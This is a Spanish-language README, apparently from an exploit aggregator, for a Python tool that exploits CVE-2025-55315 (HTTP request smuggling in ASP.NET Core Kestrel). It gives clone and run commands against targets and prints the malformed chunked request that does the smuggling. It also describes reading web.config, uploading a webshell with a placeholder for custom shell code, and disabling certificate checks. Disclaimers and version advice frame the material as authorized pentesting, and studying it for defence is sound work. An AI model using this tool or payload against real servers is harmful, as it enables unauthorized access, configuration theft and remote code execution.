## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZEMARKHOS-CVE-2025-55315-POC-EXPLOIT
# Herramienta de Pentest CVE-2025-55315
**Herramienta de explotación de contrabando de solicitudes HTTP para ASP.NET Core Kestrel**
   
* * *
## ⚠️ ADVERTENCIA LEGAL
**¡ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS!**
* Úsela SOLO en sistemas que posea o para los que tenga autorización explícita por escrito para probar
* El acceso no autorizado a sistemas informáticos es **ILEGAL**
* El creador de la herramienta NO es responsable del mal uso
* Al usar esta herramienta, usted acepta toda la responsabilidad legal
* * *
## 📋 Resumen
Herramienta profesional de pruebas de penetración para **CVE-2025-55315** (vulnerabilidad de contrabando de solicitudes HTTP en ASP.NET Core Kestrel). Esta herramienta está diseñada para el análisis de un único objetivo con capacidades integrales de explotación.
### ¿Qué es CVE-2025-55315?
Una vulnerabilidad **crítica** de contrabando de solicitudes HTTP en el servidor web ASP.NET Core Kestrel (CVSS 9.9/10) que permite a los atacantes:
* Evadir la autenticación
* Robar credenciales y tokens de sesión
* Realizar falsificación de solicitudes del lado del servidor (SSRF)
* Envenenar cachés
* Subir webshells y obtener ejecución remota de código
**Versiones afectadas:**
* .NET Core 3.0 hasta .NET 9.0.9
* Corregido en: .NET 8.0.21+, 9.0.10+, 10.0.0-rc2+
* * *
## ✨ Características
### Capacidades principales
* ✅ **Análisis de un solo objetivo** \- Pruebas de penetración enfocadas en un objetivo específico
* ✅ **Descubrimiento automático de endpoints** \- Descubre endpoints comunes de ASP.NET Core
* ✅ **Pruebas manuales de endpoints** \- Prueba endpoints específicos de interés
* ✅ **Detección de vulnerabilidades** \- Detección precisa de CVE-2025-55315
* ✅ **Extracción de web.config** \- Lee archivos de configuración mediante contrabando de solicitudes
* ✅ **Carga de Webshell** \- Capacidad opcional de implementación de webshell
* ✅ **Informes detallados** \- Informes en formato JSON y texto
* ✅ **Funciones de seguridad** \- Múltiples avisos de confirmación para acciones destructivas
### Características técnicas
* Compatibilidad con HTTP/1.1 y HTTPS
* Compatibilidad con puertos personalizados
* Tiempos de espera configurables
* Modo de depuración detallado (verbose)
* Salida de terminal con códigos de color
* Omisión de la validación de certificados SSL (para pruebas)
* * *
## 🔧 Instalación
### Requisitos
root@kitploit:~
# Python 3.7 or higher
python3 --version
# No external dependencies - uses only standard library
### Descarga
root@kitploit:~
# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# Make executable
chmod +x cve_2025_55315_PoC.py
* * *
## 🚀 Inicio rápido
### Escaneo básico de vulnerabilidades
root@kitploit:~
python3 cve_2025_55315_PoC.py -t target.com
Esto:
1. Recopilará información del servidor
2. Descubrirá automáticamente los endpoints activos
3. Probará cada endpoint para detectar CVE-2025-55315
4. Mostrará los resultados en la terminal
### Probar un endpoint específico
root@kitploit:~
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
### Escaneo completo con extracción de web.config
root@kitploit:~
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
### Avanzado: Explotación completa (¡Solo autorizado!)
root@kitploit:~
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
* * *
## 📖 Ejemplos de uso
### Ejemplo 1: Verificación rápida
**Escenario:** Comprobar si el servidor de producción es vulnerable
root@kitploit:~
python3 cve_2025_55315_PoC.py -t api.mycompany.com
**Duración esperada:** 30-60 segundos
* * *
### Ejemplo 2: Escaneo detallado
**Escenario:** Escaneo integral de endpoints con salida detallada (verbose)
root@kitploit:~
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
**Duración esperada:** 2-5 minutos
* * *
### Ejemplo 3: Apuntar a múltiples endpoints
**Escenario:** Probar endpoints críticos específicos
root@kitploit:~
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
* * *
### Ejemplo 4: Objetivo sin SSL
**Escenario:** Probar un servidor HTTP interno
root@kitploit:~
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
* * *
## 📊 Opciones de línea de comandos
root@kitploit:~
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
Required Arguments:
-t, --target Target hostname or URL (e.g., target.com)
Optional Arguments:
-p, --port Port number (default: 443 for SSL, 80 for non-SSL)
-e, --endpoint Specific endpoint(s) to test (can be used multiple times)
--no-ssl Disable SSL/HTTPS (use HTTP)
--read-config Attempt to read web.config file
--upload-shell Attempt webshell upload (requires confirmation)
-o, --output Save report to file
-v, --verbose Enable verbose output
--timeout Socket timeout in seconds (default: 10)
-h, --help Show help message
* * *
## 🔍 Comprendiendo la salida
### Ejemplo de sistema vulnerable
root@kitploit:~
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
**Interpretación:**
* 🔴 **VULNERABILIDAD CRÍTICA DETECTADA**
* 🔴 Múltiples endpoints son vulnerables
* 🔴 El archivo de configuración se extrajo correctamente
* ⚡ **URGENTE:** Actualice a .NET 8.0.21+ o 9.0.10+
* * *
### Ejemplo de sistema seguro
root@kitploit:~
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
**Interpretación:**
* ✅ **EL SISTEMA ES SEGURO**
* ✅ Ejecuta una versión de Kestrel parcheada
* ✅ Todas las solicitudes malformadas fueron rechazadas
* * *
## 🛡️ Seguridad y ética
### Lista de verificación de autorización
Antes de ejecutar esta herramienta, asegúrese de:
* Posee el sistema objetivo, O
* Tiene autorización **por escrito** para realizar la prueba, Y
* El equipo de seguridad ha sido notificado, Y
* Tiene un plan de reversión, Y
* Comprende las implicaciones legales
### Funciones de seguridad integradas
1. **Confirmación en dos etapas** \- La herramienta solicita autorización antes de comenzar
2. **Confirmación de carga de webshell** \- Requiere escribir "YES" en mayúsculas
3. **Limitación de velocidad** \- Retrasos entre solicitudes durante el descubrimiento automático
4. **Protección de tiempo de espera** \- Evita conexiones colgadas
5. **Registro detallado** \- Todas las acciones se registran para la pista de auditoría
* * *
## 🔬 Detalles técnicos
### Técnica de explotación
La herramienta explota CVE-2025-55315 mediante una codificación de transferencia fragmentada (chunked) malformada:
root@kitploit:~
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← This becomes a separate request
Host: target.com
**Por qué funciona esto:**
1. **El servidor proxy** ve `\n` como terminador de línea → lo procesa como una sola solicitud
2. **Kestrel (vulnerable)** ignora `\n` → trata el GET contrabandeado como una solicitud separada
3. La solicitud contrabandeada puede ejecutarse en el contexto de sesión de otro usuario
### Lógica de detección
Server Response| Interpretation| Status
---|---|---
`400 Bad Request`| Kestrel rejected malformed chunk| ✅ Secure (patched)
Multiple `HTTP/1.1`| Two separate responses received| ❌ Vulnerable
`500` or `502`| Internal server error| ⚠️ Likely vulnerable
Normal `200 OK`| Request accepted| ⚠️ Inconclusive
* * *
## 🐛 Solución de problemas
### Error de conexión
root@kitploit:~
[ERROR] Connection failed: [Errno 111] Connection refused
**Soluciones:**
* Verifique que el objetivo sea accesible: `ping target.com`
* Compruebe que el número de puerto sea correcto
* Pruebe con/sin SSL: `--no-ssl`
* Compruebe las reglas del firewall
* * *
### Error de certificado SSL
root@kitploit:~
[ERROR] Connection failed: certificate verify failed
**Solución:**
La herramienta ya desactiva la verificación de certificados. Si el problema persiste:
root@kitploit:~
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
* * *
### Errores de tiempo de espera
root@kitploit:~
[WARNING] No response - possible timeout
**Soluciones:**
* Aumente el tiempo de espera: `--timeout 30`
* Compruebe la conectividad de red
* El objetivo puede estar lento o sobrecargado
* * *
### Carga bloqueada
root@kitploit:~
[WARNING] Upload blocked (forbidden/method not allowed)
**Explicación:**
* La configuración del servidor bloquea los métodos PUT/POST
* El WAF/IPS está bloqueando la carga
* Los permisos de archivos impiden la escritura
Esto es normal: no todos los sistemas vulnerables permiten la carga de archivos.
* * *
## 📚 Referencias
### Recursos sobre CVE-2025-55315
1. **Aviso de seguridad de Microsoft:** https://github.com/dotnet/aspnetcore/issues/64033
2. **Base de datos NVD:** https://nvd.nist.gov/vuln/detail/CVE-2025-55315
3. **Investigación de Praetorian (recompensa de $10k por bug):** https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
4. **Análisis técnico de Andrew Lock:** https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
### Contrabando de solicitudes HTTP
5. **Investigación de PortSwigger:** https://portswigger.net/web-security/request-smuggling
6. **OWASP:** https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
* * *
## 🔄 Personalización
### Añadir endpoints personalizados
Edite `COMMON_ENDPOINTS` en el script:
root@kitploit:~
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# Add your endpoints here
]
### Usar una webshell personalizada
Modifique el método `upload_webshell()`:
root@kitploit:~
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- Your custom ASPX webshell here -->
'''
* * *
## 📝 Informar de problemas
Si encuentra errores o tiene sugerencias:
1. Ejecute con el modo detallado: `-v`
2. Guarde la salida completa: `-o debug.txt`
3. Incluya:
* Versión de Python
* Comando utilizado
* Mensaje de error
* Comportamiento esperado frente al real
* * *
## ⚖️ Descargo de responsabilidad legal
root@kitploit:~
THIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
SECURITY TESTING PURPOSES ONLY.
THE AUTHOR(S):
❌ Do NOT endorse illegal activities
❌ Are NOT responsible for misuse
❌ Are NOT liable for any damages
❌ Do NOT provide legal advice
BY USING THIS TOOL YOU AGREE:
✅ To use only on authorized systems
✅ To accept full legal responsibility
✅ To comply with all applicable laws
✅ To follow ethical hacking principles
UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
* * *
## 🎓 Propósito educativo
Esta herramienta fue creada para:
* Investigadores de seguridad
* Probadores de penetración
* Cazadores de recompensas por bugs
* Administradores de sistemas
* Formación en concienciación sobre seguridad
* Evaluaciones de seguridad autorizadas
**NO para:**
* Ataques maliciosos
* Acceso no autorizado
* Reconocimiento competitivo
* Cualquier actividad ilegal
* * *
## 🙏 Agradecimientos
* **Centro de respuesta de seguridad de Microsoft** \- Por la divulgación del CVE y los parches
* **Praetorian Security** \- Por la investigación original de la vulnerabilidad
* **Andrew Lock** \- Por el análisis técnico detallado
* **Comunidad de seguridad** \- Por las prácticas de divulgación responsable
* * *
## 📄 Licencia
**Solo para pruebas de seguridad educativas y autorizadas**
Esta herramienta se proporciona con fines educativos y para pruebas de seguridad autorizadas. El uso comercial, la redistribución o el uso con fines maliciosos están estrictamente prohibidos.
* * *
## 🔐 Advertencia final
root@kitploit:~
╔═════════════════════════════════════════════════════════════╗
║ ║
║ USE THIS TOOL RESPONSIBLY AND LEGALLY! ║
║ ║
║ Unauthorized access to computer systems is a CRIME. ║
║ Always obtain written permission before testing. ║
║ Follow responsible disclosure practices. ║
║ ║
║ Happy (Legal) Hacking! ║
║ ║
╚═════════════════════════════════════════════════════════════╝